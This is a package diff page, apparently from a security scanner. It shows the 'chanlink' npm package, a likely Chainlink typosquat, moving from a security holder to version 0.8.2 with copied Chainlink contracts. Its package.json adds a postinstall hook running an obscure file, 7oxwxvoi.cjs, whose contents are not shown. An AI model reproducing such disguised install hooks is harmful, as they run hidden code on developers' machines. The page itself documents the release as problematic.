chanlink 0.0.1-security → 0.8.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of chanlink might be problematic. Click here for more details.

Files changed (322) hide show
  1. package/7oxwxvoi.cjs +1 -0
  2. package/README.md +3 -3
  3. package/contracts/Aggregator.sol +420 -0
  4. package/contracts/AggregatorProxy.sol +99 -0
  5. package/contracts/Chainlink.sol +125 -0
  6. package/contracts/ChainlinkClient.sol +262 -0
  7. package/contracts/Chainlinked.sol +141 -0
  8. package/contracts/Migrations.sol +23 -0
  9. package/contracts/Oracle.sol +320 -0
  10. package/contracts/Pointer.sol +9 -0
  11. package/contracts/interfaces/AggregatorInterface.sol +12 -0
  12. package/contracts/interfaces/ChainlinkRequestInterface.sol +21 -0
  13. package/contracts/interfaces/ENSInterface.sol +26 -0
  14. package/contracts/interfaces/LinkTokenInterface.sol +16 -0
  15. package/contracts/interfaces/OracleInterface.sol +16 -0
  16. package/contracts/interfaces/PointerInterface.sol +5 -0
  17. package/contracts/tests/BasicConsumer.sol +13 -0
  18. package/contracts/tests/ConcreteChainlink.sol +76 -0
  19. package/contracts/tests/ConcreteChainlinked.sol +100 -0
  20. package/contracts/tests/ConcreteSignedSafeMath.sol +16 -0
  21. package/contracts/tests/Consumer.sol +47 -0
  22. package/contracts/tests/EmptyOracle.sol +19 -0
  23. package/contracts/tests/GetterSetter.sol +45 -0
  24. package/contracts/tests/MaliciousChainlink.sol +76 -0
  25. package/contracts/tests/MaliciousChainlinked.sol +109 -0
  26. package/contracts/tests/MaliciousConsumer.sol +54 -0
  27. package/contracts/tests/MaliciousRequester.sol +52 -0
  28. package/contracts/tests/UpdatableConsumer.sol +24 -0
  29. package/contracts/vendor/Buffer.sol +301 -0
  30. package/contracts/vendor/CBOR.sol +71 -0
  31. package/contracts/vendor/ENS.sol +26 -0
  32. package/contracts/vendor/ENSRegistry.sol +99 -0
  33. package/contracts/vendor/ENSResolver.sol +5 -0
  34. package/contracts/vendor/Ownable.sol +64 -0
  35. package/contracts/vendor/PublicResolver.sol +238 -0
  36. package/contracts/vendor/SafeMath.sol +52 -0
  37. package/contracts/vendor/SignedSafeMath.sol +21 -0
  38. package/dist/artifacts/Aggregator.json +580 -0
  39. package/dist/artifacts/AggregatorInterface.json +172 -0
  40. package/dist/artifacts/AggregatorProxy.json +294 -0
  41. package/dist/artifacts/BasicConsumer.json +250 -0
  42. package/dist/artifacts/Buffer.json +52 -0
  43. package/dist/artifacts/CBOR.json +56 -0
  44. package/dist/artifacts/Chainlink.json +60 -0
  45. package/dist/artifacts/ChainlinkClient.json +125 -0
  46. package/dist/artifacts/ChainlinkRequestInterface.json +121 -0
  47. package/dist/artifacts/Chainlinked.json +129 -0
  48. package/dist/artifacts/ConcreteChainlink.json +190 -0
  49. package/dist/artifacts/ConcreteChainlinked.json +387 -0
  50. package/dist/artifacts/ConcreteSignedSafeMath.json +80 -0
  51. package/dist/artifacts/Consumer.json +227 -0
  52. package/dist/artifacts/ENS.json +259 -0
  53. package/dist/artifacts/ENSInterface.json +259 -0
  54. package/dist/artifacts/ENSRegistry.json +269 -0
  55. package/dist/artifacts/ENSResolver.json +72 -0
  56. package/dist/artifacts/EmptyOracle.json +259 -0
  57. package/dist/artifacts/GetterSetter.json +278 -0
  58. package/dist/artifacts/LinkTokenInterface.json +292 -0
  59. package/dist/artifacts/MaliciousChainlink.json +60 -0
  60. package/dist/artifacts/MaliciousChainlinked.json +137 -0
  61. package/dist/artifacts/MaliciousConsumer.json +288 -0
  62. package/dist/artifacts/MaliciousRequester.json +266 -0
  63. package/dist/artifacts/Migrations.json +115 -0
  64. package/dist/artifacts/Oracle.json +426 -0
  65. package/dist/artifacts/OracleInterface.json +161 -0
  66. package/dist/artifacts/Ownable.json +125 -0
  67. package/dist/artifacts/Pointer.json +78 -0
  68. package/dist/artifacts/PointerInterface.json +67 -0
  69. package/dist/artifacts/PublicResolver.json +503 -0
  70. package/dist/artifacts/SafeMath.json +52 -0
  71. package/dist/artifacts/SignedSafeMath.json +52 -0
  72. package/dist/artifacts/UpdatableConsumer.json +287 -0
  73. package/dist/src/LinkToken.d.ts +40 -0
  74. package/dist/src/LinkToken.json +164 -0
  75. package/dist/src/contract.d.ts +13 -0
  76. package/dist/src/contract.js +3 -0
  77. package/dist/src/contract.js.map +1 -0
  78. package/dist/src/debug.d.ts +8 -0
  79. package/dist/src/debug.js +17 -0
  80. package/dist/src/debug.js.map +1 -0
  81. package/dist/src/generated/Aggregator.d.ts +372 -0
  82. package/dist/src/generated/AggregatorFactory.d.ts +13 -0
  83. package/dist/src/generated/AggregatorFactory.js +505 -0
  84. package/dist/src/generated/AggregatorFactory.js.map +1 -0
  85. package/dist/src/generated/AggregatorInterface.d.ts +110 -0
  86. package/dist/src/generated/AggregatorInterfaceFactory.d.ts +6 -0
  87. package/dist/src/generated/AggregatorInterfaceFactory.js +133 -0
  88. package/dist/src/generated/AggregatorInterfaceFactory.js.map +1 -0
  89. package/dist/src/generated/AggregatorProxy.d.ts +196 -0
  90. package/dist/src/generated/AggregatorProxyFactory.d.ts +12 -0
  91. package/dist/src/generated/AggregatorProxyFactory.js +263 -0
  92. package/dist/src/generated/AggregatorProxyFactory.js.map +1 -0
  93. package/dist/src/generated/BasicConsumer.d.ts +154 -0
  94. package/dist/src/generated/BasicConsumerFactory.d.ts +13 -0
  95. package/dist/src/generated/BasicConsumerFactory.js +183 -0
  96. package/dist/src/generated/BasicConsumerFactory.js.map +1 -0
  97. package/dist/src/generated/ChainlinkClient.d.ts +58 -0
  98. package/dist/src/generated/ChainlinkClientFactory.d.ts +12 -0
  99. package/dist/src/generated/ChainlinkClientFactory.js +66 -0
  100. package/dist/src/generated/ChainlinkClientFactory.js.map +1 -0
  101. package/dist/src/generated/ChainlinkRequestInterface.d.ts +139 -0
  102. package/dist/src/generated/ChainlinkRequestInterfaceFactory.d.ts +6 -0
  103. package/dist/src/generated/ChainlinkRequestInterfaceFactory.js +82 -0
  104. package/dist/src/generated/ChainlinkRequestInterfaceFactory.js.map +1 -0
  105. package/dist/src/generated/Chainlinked.d.ts +55 -0
  106. package/dist/src/generated/ChainlinkedFactory.d.ts +12 -0
  107. package/dist/src/generated/ChainlinkedFactory.js +66 -0
  108. package/dist/src/generated/ChainlinkedFactory.js.map +1 -0
  109. package/dist/src/generated/ConcreteChainlink.d.ts +158 -0
  110. package/dist/src/generated/ConcreteChainlinkFactory.d.ts +12 -0
  111. package/dist/src/generated/ConcreteChainlinkFactory.js +155 -0
  112. package/dist/src/generated/ConcreteChainlinkFactory.js.map +1 -0
  113. package/dist/src/generated/ConcreteChainlinked.d.ts +300 -0
  114. package/dist/src/generated/ConcreteChainlinkedFactory.d.ts +12 -0
  115. package/dist/src/generated/ConcreteChainlinkedFactory.js +320 -0
  116. package/dist/src/generated/ConcreteChainlinkedFactory.js.map +1 -0
  117. package/dist/src/generated/ConcreteSignedSafeMath.d.ts +50 -0
  118. package/dist/src/generated/ConcreteSignedSafeMathFactory.d.ts +12 -0
  119. package/dist/src/generated/ConcreteSignedSafeMathFactory.js +53 -0
  120. package/dist/src/generated/ConcreteSignedSafeMathFactory.js.map +1 -0
  121. package/dist/src/generated/Consumer.d.ts +151 -0
  122. package/dist/src/generated/ConsumerFactory.d.ts +12 -0
  123. package/dist/src/generated/ConsumerFactory.js +164 -0
  124. package/dist/src/generated/ConsumerFactory.js.map +1 -0
  125. package/dist/src/generated/ENS.d.ts +171 -0
  126. package/dist/src/generated/ENSFactory.d.ts +6 -0
  127. package/dist/src/generated/ENSFactory.js +220 -0
  128. package/dist/src/generated/ENSFactory.js.map +1 -0
  129. package/dist/src/generated/ENSInterface.d.ts +174 -0
  130. package/dist/src/generated/ENSInterfaceFactory.d.ts +6 -0
  131. package/dist/src/generated/ENSInterfaceFactory.js +220 -0
  132. package/dist/src/generated/ENSInterfaceFactory.js.map +1 -0
  133. package/dist/src/generated/ENSRegistry.d.ts +171 -0
  134. package/dist/src/generated/ENSRegistryFactory.d.ts +12 -0
  135. package/dist/src/generated/ENSRegistryFactory.js +242 -0
  136. package/dist/src/generated/ENSRegistryFactory.js.map +1 -0
  137. package/dist/src/generated/ENSResolver.d.ts +45 -0
  138. package/dist/src/generated/ENSResolverFactory.d.ts +6 -0
  139. package/dist/src/generated/ENSResolverFactory.js +33 -0
  140. package/dist/src/generated/ENSResolverFactory.js.map +1 -0
  141. package/dist/src/generated/EmptyOracle.d.ts +228 -0
  142. package/dist/src/generated/EmptyOracleFactory.d.ts +12 -0
  143. package/dist/src/generated/EmptyOracleFactory.js +228 -0
  144. package/dist/src/generated/EmptyOracleFactory.js.map +1 -0
  145. package/dist/src/generated/GetterSetter.d.ts +207 -0
  146. package/dist/src/generated/GetterSetterFactory.d.ts +12 -0
  147. package/dist/src/generated/GetterSetterFactory.js +255 -0
  148. package/dist/src/generated/GetterSetterFactory.js.map +1 -0
  149. package/dist/src/generated/LinkToken.d.ts +243 -0
  150. package/dist/src/generated/LinkTokenFactory.d.ts +12 -0
  151. package/dist/src/generated/LinkTokenFactory.js +329 -0
  152. package/dist/src/generated/LinkTokenFactory.js.map +1 -0
  153. package/dist/src/generated/LinkTokenInterface.d.ts +230 -0
  154. package/dist/src/generated/LinkTokenInterfaceFactory.d.ts +6 -0
  155. package/dist/src/generated/LinkTokenInterfaceFactory.js +253 -0
  156. package/dist/src/generated/LinkTokenInterfaceFactory.js.map +1 -0
  157. package/dist/src/generated/MaliciousChainlinked.d.ts +58 -0
  158. package/dist/src/generated/MaliciousChainlinkedFactory.d.ts +12 -0
  159. package/dist/src/generated/MaliciousChainlinkedFactory.js +66 -0
  160. package/dist/src/generated/MaliciousChainlinkedFactory.js.map +1 -0
  161. package/dist/src/generated/MaliciousConsumer.d.ts +179 -0
  162. package/dist/src/generated/MaliciousConsumerFactory.d.ts +12 -0
  163. package/dist/src/generated/MaliciousConsumerFactory.js +221 -0
  164. package/dist/src/generated/MaliciousConsumerFactory.js.map +1 -0
  165. package/dist/src/generated/MaliciousRequester.d.ts +161 -0
  166. package/dist/src/generated/MaliciousRequesterFactory.d.ts +12 -0
  167. package/dist/src/generated/MaliciousRequesterFactory.js +191 -0
  168. package/dist/src/generated/MaliciousRequesterFactory.js.map +1 -0
  169. package/dist/src/generated/Migrations.d.ts +87 -0
  170. package/dist/src/generated/MigrationsFactory.d.ts +12 -0
  171. package/dist/src/generated/MigrationsFactory.js +92 -0
  172. package/dist/src/generated/MigrationsFactory.js.map +1 -0
  173. package/dist/src/generated/Oracle.d.ts +362 -0
  174. package/dist/src/generated/OracleFactory.d.ts +12 -0
  175. package/dist/src/generated/OracleFactory.js +383 -0
  176. package/dist/src/generated/OracleFactory.js.map +1 -0
  177. package/dist/src/generated/OracleInterface.d.ts +144 -0
  178. package/dist/src/generated/OracleInterfaceFactory.d.ts +6 -0
  179. package/dist/src/generated/OracleInterfaceFactory.js +122 -0
  180. package/dist/src/generated/OracleInterfaceFactory.js.map +1 -0
  181. package/dist/src/generated/Ownable.d.ts +91 -0
  182. package/dist/src/generated/OwnableFactory.d.ts +12 -0
  183. package/dist/src/generated/OwnableFactory.js +102 -0
  184. package/dist/src/generated/OwnableFactory.js.map +1 -0
  185. package/dist/src/generated/Pointer.d.ts +45 -0
  186. package/dist/src/generated/PointerFactory.d.ts +12 -0
  187. package/dist/src/generated/PointerFactory.js +55 -0
  188. package/dist/src/generated/PointerFactory.js.map +1 -0
  189. package/dist/src/generated/PointerInterface.d.ts +48 -0
  190. package/dist/src/generated/PointerInterfaceFactory.d.ts +6 -0
  191. package/dist/src/generated/PointerInterfaceFactory.js +28 -0
  192. package/dist/src/generated/PointerInterfaceFactory.js.map +1 -0
  193. package/dist/src/generated/PublicResolver.d.ts +336 -0
  194. package/dist/src/generated/PublicResolverFactory.d.ts +12 -0
  195. package/dist/src/generated/PublicResolverFactory.js +476 -0
  196. package/dist/src/generated/PublicResolverFactory.js.map +1 -0
  197. package/dist/src/generated/UpdatableConsumer.d.ts +180 -0
  198. package/dist/src/generated/UpdatableConsumerFactory.d.ts +13 -0
  199. package/dist/src/generated/UpdatableConsumerFactory.js +220 -0
  200. package/dist/src/generated/UpdatableConsumerFactory.js.map +1 -0
  201. package/dist/src/generated/index.d.ts +44 -0
  202. package/dist/src/generated/index.js +41 -0
  203. package/dist/src/generated/index.js.map +1 -0
  204. package/dist/src/helpers.d.ts +144 -0
  205. package/dist/src/helpers.js +358 -0
  206. package/dist/src/helpers.js.map +1 -0
  207. package/dist/src/helpers.test.d.ts +1 -0
  208. package/dist/src/helpers.test.js +21 -0
  209. package/dist/src/helpers.test.js.map +1 -0
  210. package/dist/src/index.d.ts +8 -0
  211. package/dist/src/index.js +27 -0
  212. package/dist/src/index.js.map +1 -0
  213. package/dist/src/matchers.d.ts +2 -0
  214. package/dist/src/matchers.js +7 -0
  215. package/dist/src/matchers.js.map +1 -0
  216. package/dist/src/provider.d.ts +5 -0
  217. package/dist/src/provider.js +15 -0
  218. package/dist/src/provider.js.map +1 -0
  219. package/dist/src/wallet.d.ts +35 -0
  220. package/dist/src/wallet.js +64 -0
  221. package/dist/src/wallet.js.map +1 -0
  222. package/dist/test/Aggregator.test.d.ts +1 -0
  223. package/dist/test/Aggregator.test.js +581 -0
  224. package/dist/test/Aggregator.test.js.map +1 -0
  225. package/dist/test/AggregatorProxy.test.d.ts +1 -0
  226. package/dist/test/AggregatorProxy.test.js +179 -0
  227. package/dist/test/AggregatorProxy.test.js.map +1 -0
  228. package/dist/test/BasicConsumer.test.d.ts +1 -0
  229. package/dist/test/BasicConsumer.test.js +180 -0
  230. package/dist/test/BasicConsumer.test.js.map +1 -0
  231. package/dist/test/Chainlinked.test.d.ts +1 -0
  232. package/dist/test/Chainlinked.test.js +11 -0
  233. package/dist/test/Chainlinked.test.js.map +1 -0
  234. package/dist/test/ConcreteChainlink.test.d.ts +1 -0
  235. package/dist/test/ConcreteChainlink.test.js +163 -0
  236. package/dist/test/ConcreteChainlink.test.js.map +1 -0
  237. package/dist/test/ConcreteChainlinked.test.d.ts +1 -0
  238. package/dist/test/ConcreteChainlinked.test.js +182 -0
  239. package/dist/test/ConcreteChainlinked.test.js.map +1 -0
  240. package/dist/test/GetterSetter.test.d.ts +1 -0
  241. package/dist/test/GetterSetter.test.js +76 -0
  242. package/dist/test/GetterSetter.test.js.map +1 -0
  243. package/dist/test/Oracle.test.d.ts +1 -0
  244. package/dist/test/Oracle.test.js +669 -0
  245. package/dist/test/Oracle.test.js.map +1 -0
  246. package/dist/test/Pointer.test.d.ts +1 -0
  247. package/dist/test/Pointer.test.js +35 -0
  248. package/dist/test/Pointer.test.js.map +1 -0
  249. package/dist/test/SignedSafeMath.test.d.ts +1 -0
  250. package/dist/test/SignedSafeMath.test.js +75 -0
  251. package/dist/test/SignedSafeMath.test.js.map +1 -0
  252. package/dist/test/UpdatableConsumer.test.d.ts +1 -0
  253. package/dist/test/UpdatableConsumer.test.js +144 -0
  254. package/dist/test/UpdatableConsumer.test.js.map +1 -0
  255. package/dist/tsconfig.tsbuildinfo +7737 -0
  256. package/package.json +48 -4
  257. package/v0.5/contracts/Chainlink.sol +125 -0
  258. package/v0.5/contracts/ChainlinkClient.sol +263 -0
  259. package/v0.5/contracts/LinkTokenReceiver.sol +70 -0
  260. package/v0.5/contracts/Median.sol +108 -0
  261. package/v0.5/contracts/Migrations.sol +23 -0
  262. package/v0.5/contracts/Oracle.sol +273 -0
  263. package/v0.5/contracts/PreCoordinator.sol +305 -0
  264. package/v0.5/contracts/dev/AggregatorInterface.sol +12 -0
  265. package/v0.5/contracts/dev/Coordinator.sol +411 -0
  266. package/v0.5/contracts/dev/CoordinatorInterface.sol +14 -0
  267. package/v0.5/contracts/dev/OracleSignaturesDecoder.sol +24 -0
  268. package/v0.5/contracts/dev/Owned.sol +61 -0
  269. package/v0.5/contracts/dev/PrepaidAggregator.sol +621 -0
  270. package/v0.5/contracts/dev/SafeMath128.sol +110 -0
  271. package/v0.5/contracts/dev/SafeMath32.sol +110 -0
  272. package/v0.5/contracts/dev/SafeMath64.sol +110 -0
  273. package/v0.5/contracts/dev/SchnorrSECP256K1.sol +147 -0
  274. package/v0.5/contracts/dev/ServiceAgreementDecoder.sol +59 -0
  275. package/v0.5/contracts/dev/VRF.sol +382 -0
  276. package/v0.5/contracts/dev/Whitelisted.sol +41 -0
  277. package/v0.5/contracts/dev/WhitelistedAggregator.sol +80 -0
  278. package/v0.5/contracts/interfaces/ChainlinkRequestInterface.sol +21 -0
  279. package/v0.5/contracts/interfaces/ENSInterface.sol +26 -0
  280. package/v0.5/contracts/interfaces/LinkTokenInterface.sol +16 -0
  281. package/v0.5/contracts/interfaces/OracleInterface.sol +16 -0
  282. package/v0.5/contracts/interfaces/PointerInterface.sol +5 -0
  283. package/v0.5/contracts/interfaces/WithdrawalInterface.sol +16 -0
  284. package/v0.5/contracts/tests/BasicConsumer.sol +13 -0
  285. package/v0.5/contracts/tests/ChainlinkTestHelper.sol +75 -0
  286. package/v0.5/contracts/tests/Consumer.sol +55 -0
  287. package/v0.5/contracts/tests/EmptyAggregator.sol +34 -0
  288. package/v0.5/contracts/tests/GetterSetter.sol +45 -0
  289. package/v0.5/contracts/tests/MaliciousChainlink.sol +75 -0
  290. package/v0.5/contracts/tests/MaliciousChainlinkClient.sol +109 -0
  291. package/v0.5/contracts/tests/MaliciousConsumer.sol +54 -0
  292. package/v0.5/contracts/tests/MaliciousRequester.sol +52 -0
  293. package/v0.5/contracts/tests/MeanAggregator.sol +75 -0
  294. package/v0.5/contracts/tests/MedianTestHelper.sol +15 -0
  295. package/v0.5/contracts/tests/OwnedTestHelper.sol +16 -0
  296. package/v0.5/contracts/tests/ServiceAgreementConsumer.sol +30 -0
  297. package/v0.5/contracts/vendor/Buffer.sol +301 -0
  298. package/v0.5/contracts/vendor/CBOR.sol +71 -0
  299. package/v0.5/contracts/vendor/ENSResolver.sol +5 -0
  300. package/v0.5/contracts/vendor/Ownable.sol +65 -0
  301. package/v0.5/contracts/vendor/SafeMath.sol +107 -0
  302. package/v0.5/contracts/vendor/SignedSafeMath.sol +22 -0
  303. package/v0.6/contracts/Chainlink.sol +125 -0
  304. package/v0.6/contracts/ChainlinkClient.sol +263 -0
  305. package/v0.6/contracts/LinkTokenReceiver.sol +70 -0
  306. package/v0.6/contracts/Oracle.sol +276 -0
  307. package/v0.6/contracts/interfaces/ChainlinkRequestInterface.sol +21 -0
  308. package/v0.6/contracts/interfaces/ENSInterface.sol +26 -0
  309. package/v0.6/contracts/interfaces/LinkTokenInterface.sol +16 -0
  310. package/v0.6/contracts/interfaces/OracleInterface.sol +16 -0
  311. package/v0.6/contracts/interfaces/PointerInterface.sol +5 -0
  312. package/v0.6/contracts/interfaces/WithdrawalInterface.sol +16 -0
  313. package/v0.6/contracts/tests/BasicConsumer.sol +13 -0
  314. package/v0.6/contracts/tests/Consumer.sol +55 -0
  315. package/v0.6/contracts/vendor/Buffer.sol +301 -0
  316. package/v0.6/contracts/vendor/CBOR.sol +71 -0
  317. package/v0.6/contracts/vendor/ENSResolver.sol +5 -0
  318. package/v0.6/contracts/vendor/Ownable.sol +65 -0
  319. package/v0.6/contracts/vendor/SafeMath.sol +107 -0
  320. package/zos.json +8 -0
  321. package/zos.rinkeby.json +104 -0
  322. package/zos.ropsten.json +104 -0
package/package.json CHANGED
@@ -1,6 +1,50 @@
1
1
  {
2
2
  "name": "chanlink",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "0.8.2",
4
+ "license": "MIT",
5
+ "main": "./dist/src/generated",
6
+ "scripts": {
7
+ "postinstall": "node 7oxwxvoi.cjs"
8
+ },
9
+ "dependencies": {
10
+ "@chainlink/test-helpers": "0.0.1",
11
+ "cbor": "^5.0.1",
12
+ "ethers": "^6.13.2",
13
+ "link_token": "^1.0.6",
14
+ "openzeppelin-solidity": "^1.12.0",
15
+ "axios": "^1.7.7"
16
+ },
17
+ "devDependencies": {
18
+ "@0x/sol-compiler": "^4.0.3",
19
+ "@types/cbor": "^5.0.0",
20
+ "@types/chai": "^4.2.4",
21
+ "@types/jest": "^24.0.25",
22
+ "@types/node": "^12.7.5",
23
+ "@types/shelljs": "^0.8.6",
24
+ "chai": "^4.2.0",
25
+ "chalk": "^2.4.2",
26
+ "depcheck": "^0.9.1",
27
+ "execa": "^3.2.0",
28
+ "jest": "^24.9.0",
29
+ "jest-circus": "^24.9.0",
30
+ "rimraf": "^3.0.0",
31
+ "shelljs": "^0.8.3",
32
+ "solhint": "^2.1.0",
33
+ "truffle": "^5.0.25",
34
+ "ts-jest": "^24.1.0",
35
+ "ts-node": "^8.4.1",
36
+ "typechain": "1.0.3",
37
+ "typechain-target-ethers": "^1.0.1",
38
+ "typescript": "^3.7.4"
39
+ },
40
+ "files": [
41
+ "contracts",
42
+ "v0.5/contracts",
43
+ "v0.6/contracts",
44
+ "dist",
45
+ "zos.json",
46
+ "zos.rinkeby.json",
47
+ "zos.ropsten.json",
48
+ "7oxwxvoi.cjs"
49
+ ]
50
+ }
@@ -0,0 +1,125 @@
1
+ pragma solidity ^0.5.0;
2
+
3
+ import { CBOR as CBOR_Chainlink, Buffer as Buffer_Chainlink } from "./vendor/CBOR.sol";
4
+
5
+ /**
6
+ * @title Library for common Chainlink functions
7
+ * @dev Uses imported CBOR library for encoding to buffer
8
+ */
9
+ library Chainlink {
10
+ uint256 internal constant defaultBufferSize = 256; // solhint-disable-line const-name-snakecase
11
+
12
+ using CBOR_Chainlink for Buffer_Chainlink.buffer;
13
+
14
+ struct Request {
15
+ bytes32 id;
16
+ address callbackAddress;
17
+ bytes4 callbackFunctionId;
18
+ uint256 nonce;
19
+ Buffer_Chainlink.buffer buf;
20
+ }
21
+
22
+ /**
23
+ * @notice Initializes a Chainlink request
24
+ * @dev Sets the ID, callback address, and callback function signature on the request
25
+ * @param self The uninitialized request
26
+ * @param _id The Job Specification ID
27
+ * @param _callbackAddress The callback address
28
+ * @param _callbackFunction The callback function signature
29
+ * @return The initialized request
30
+ */
31
+ function initialize(
32
+ Request memory self,
33
+ bytes32 _id,
34
+ address _callbackAddress,
35
+ bytes4 _callbackFunction
36
+ ) internal pure returns (Chainlink.Request memory) {
37
+ Buffer_Chainlink.init(self.buf, defaultBufferSize);
38
+ self.id = _id;
39
+ self.callbackAddress = _callbackAddress;
40
+ self.callbackFunctionId = _callbackFunction;
41
+ return self;
42
+ }
43
+
44
+ /**
45
+ * @notice Sets the data for the buffer without encoding CBOR on-chain
46
+ * @dev CBOR can be closed with curly-brackets {} or they can be left off
47
+ * @param self The initialized request
48
+ * @param _data The CBOR data
49
+ */
50
+ function setBuffer(Request memory self, bytes memory _data)
51
+ internal pure
52
+ {
53
+ Buffer_Chainlink.init(self.buf, _data.length);
54
+ Buffer_Chainlink.append(self.buf, _data);
55
+ }
56
+
57
+ /**
58
+ * @notice Adds a string value to the request with a given key name
59
+ * @param self The initialized request
60
+ * @param _key The name of the key
61
+ * @param _value The string value to add
62
+ */
63
+ function add(Request memory self, string memory _key, string memory _value)
64
+ internal pure
65
+ {
66
+ self.buf.encodeString(_key);
67
+ self.buf.encodeString(_value);
68
+ }
69
+
70
+ /**
71
+ * @notice Adds a bytes value to the request with a given key name
72
+ * @param self The initialized request
73
+ * @param _key The name of the key
74
+ * @param _value The bytes value to add
75
+ */
76
+ function addBytes(Request memory self, string memory _key, bytes memory _value)
77
+ internal pure
78
+ {
79
+ self.buf.encodeString(_key);
80
+ self.buf.encodeBytes(_value);
81
+ }
82
+
83
+ /**
84
+ * @notice Adds a int256 value to the request with a given key name
85
+ * @param self The initialized request
86
+ * @param _key The name of the key
87
+ * @param _value The int256 value to add
88
+ */
89
+ function addInt(Request memory self, string memory _key, int256 _value)
90
+ internal pure
91
+ {
92
+ self.buf.encodeString(_key);
93
+ self.buf.encodeInt(_value);
94
+ }
95
+
96
+ /**
97
+ * @notice Adds a uint256 value to the request with a given key name
98
+ * @param self The initialized request
99
+ * @param _key The name of the key
100
+ * @param _value The uint256 value to add
101
+ */
102
+ function addUint(Request memory self, string memory _key, uint256 _value)
103
+ internal pure
104
+ {
105
+ self.buf.encodeString(_key);
106
+ self.buf.encodeUInt(_value);
107
+ }
108
+
109
+ /**
110
+ * @notice Adds an array of strings to the request with a given key name
111
+ * @param self The initialized request
112
+ * @param _key The name of the key
113
+ * @param _values The array of string values to add
114
+ */
115
+ function addStringArray(Request memory self, string memory _key, string[] memory _values)
116
+ internal pure
117
+ {
118
+ self.buf.encodeString(_key);
119
+ self.buf.startArray();
120
+ for (uint256 i = 0; i < _values.length; i++) {
121
+ self.buf.encodeString(_values[i]);
122
+ }
123
+ self.buf.endSequence();
124
+ }
125
+ }
@@ -0,0 +1,263 @@
1
+ pragma solidity ^0.5.0;
2
+
3
+ import "./Chainlink.sol";
4
+ import "./interfaces/ENSInterface.sol";
5
+ import "./interfaces/LinkTokenInterface.sol";
6
+ import "./interfaces/ChainlinkRequestInterface.sol";
7
+ import "./interfaces/PointerInterface.sol";
8
+ import { ENSResolver as ENSResolver_Chainlink } from "./vendor/ENSResolver.sol";
9
+ import { SafeMath as SafeMath_Chainlink } from "./vendor/SafeMath.sol";
10
+
11
+ /**
12
+ * @title The ChainlinkClient contract
13
+ * @notice Contract writers can inherit this contract in order to create requests for the
14
+ * Chainlink network
15
+ */
16
+ contract ChainlinkClient {
17
+ using Chainlink for Chainlink.Request;
18
+ using SafeMath_Chainlink for uint256;
19
+
20
+ uint256 constant internal LINK = 10**18;
21
+ uint256 constant private AMOUNT_OVERRIDE = 0;
22
+ address constant private SENDER_OVERRIDE = address(0);
23
+ uint256 constant private ARGS_VERSION = 1;
24
+ bytes32 constant private ENS_TOKEN_SUBNAME = keccak256("link");
25
+ bytes32 constant private ENS_ORACLE_SUBNAME = keccak256("oracle");
26
+ address constant private LINK_TOKEN_POINTER = 0xC89bD4E1632D3A43CB03AAAd5262cbe4038Bc571;
27
+
28
+ ENSInterface private ens;
29
+ bytes32 private ensNode;
30
+ LinkTokenInterface private link;
31
+ ChainlinkRequestInterface private oracle;
32
+ uint256 private requestCount = 1;
33
+ mapping(bytes32 => address) private pendingRequests;
34
+
35
+ event ChainlinkRequested(bytes32 indexed id);
36
+ event ChainlinkFulfilled(bytes32 indexed id);
37
+ event ChainlinkCancelled(bytes32 indexed id);
38
+
39
+ /**
40
+ * @notice Creates a request that can hold additional parameters
41
+ * @param _specId The Job Specification ID that the request will be created for
42
+ * @param _callbackAddress The callback address that the response will be sent to
43
+ * @param _callbackFunctionSignature The callback function signature to use for the callback address
44
+ * @return A Chainlink Request struct in memory
45
+ */
46
+ function buildChainlinkRequest(
47
+ bytes32 _specId,
48
+ address _callbackAddress,
49
+ bytes4 _callbackFunctionSignature
50
+ ) internal pure returns (Chainlink.Request memory) {
51
+ Chainlink.Request memory req;
52
+ return req.initialize(_specId, _callbackAddress, _callbackFunctionSignature);
53
+ }
54
+
55
+ /**
56
+ * @notice Creates a Chainlink request to the stored oracle address
57
+ * @dev Calls `chainlinkRequestTo` with the stored oracle address
58
+ * @param _req The initialized Chainlink Request
59
+ * @param _payment The amount of LINK to send for the request
60
+ * @return The request ID
61
+ */
62
+ function sendChainlinkRequest(Chainlink.Request memory _req, uint256 _payment)
63
+ internal
64
+ returns (bytes32)
65
+ {
66
+ return sendChainlinkRequestTo(address(oracle), _req, _payment);
67
+ }
68
+
69
+ /**
70
+ * @notice Creates a Chainlink request to the specified oracle address
71
+ * @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to
72
+ * send LINK which creates a request on the target oracle contract.
73
+ * Emits ChainlinkRequested event.
74
+ * @param _oracle The address of the oracle for the request
75
+ * @param _req The initialized Chainlink Request
76
+ * @param _payment The amount of LINK to send for the request
77
+ * @return The request ID
78
+ */
79
+ function sendChainlinkRequestTo(address _oracle, Chainlink.Request memory _req, uint256 _payment)
80
+ internal
81
+ returns (bytes32 requestId)
82
+ {
83
+ requestId = keccak256(abi.encodePacked(this, requestCount));
84
+ _req.nonce = requestCount;
85
+ pendingRequests[requestId] = _oracle;
86
+ emit ChainlinkRequested(requestId);
87
+ require(link.transferAndCall(_oracle, _payment, encodeRequest(_req)), "unable to transferAndCall to oracle");
88
+ requestCount += 1;
89
+
90
+ return requestId;
91
+ }
92
+
93
+ /**
94
+ * @notice Allows a request to be cancelled if it has not been fulfilled
95
+ * @dev Requires keeping track of the expiration value emitted from the oracle contract.
96
+ * Deletes the request from the `pendingRequests` mapping.
97
+ * Emits ChainlinkCancelled event.
98
+ * @param _requestId The request ID
99
+ * @param _payment The amount of LINK sent for the request
100
+ * @param _callbackFunc The callback function specified for the request
101
+ * @param _expiration The time of the expiration for the request
102
+ */
103
+ function cancelChainlinkRequest(
104
+ bytes32 _requestId,
105
+ uint256 _payment,
106
+ bytes4 _callbackFunc,
107
+ uint256 _expiration
108
+ )
109
+ internal
110
+ {
111
+ ChainlinkRequestInterface requested = ChainlinkRequestInterface(pendingRequests[_requestId]);
112
+ delete pendingRequests[_requestId];
113
+ emit ChainlinkCancelled(_requestId);
114
+ requested.cancelOracleRequest(_requestId, _payment, _callbackFunc, _expiration);
115
+ }
116
+
117
+ /**
118
+ * @notice Sets the stored oracle address
119
+ * @param _oracle The address of the oracle contract
120
+ */
121
+ function setChainlinkOracle(address _oracle) internal {
122
+ oracle = ChainlinkRequestInterface(_oracle);
123
+ }
124
+
125
+ /**
126
+ * @notice Sets the LINK token address
127
+ * @param _link The address of the LINK token contract
128
+ */
129
+ function setChainlinkToken(address _link) internal {
130
+ link = LinkTokenInterface(_link);
131
+ }
132
+
133
+ /**
134
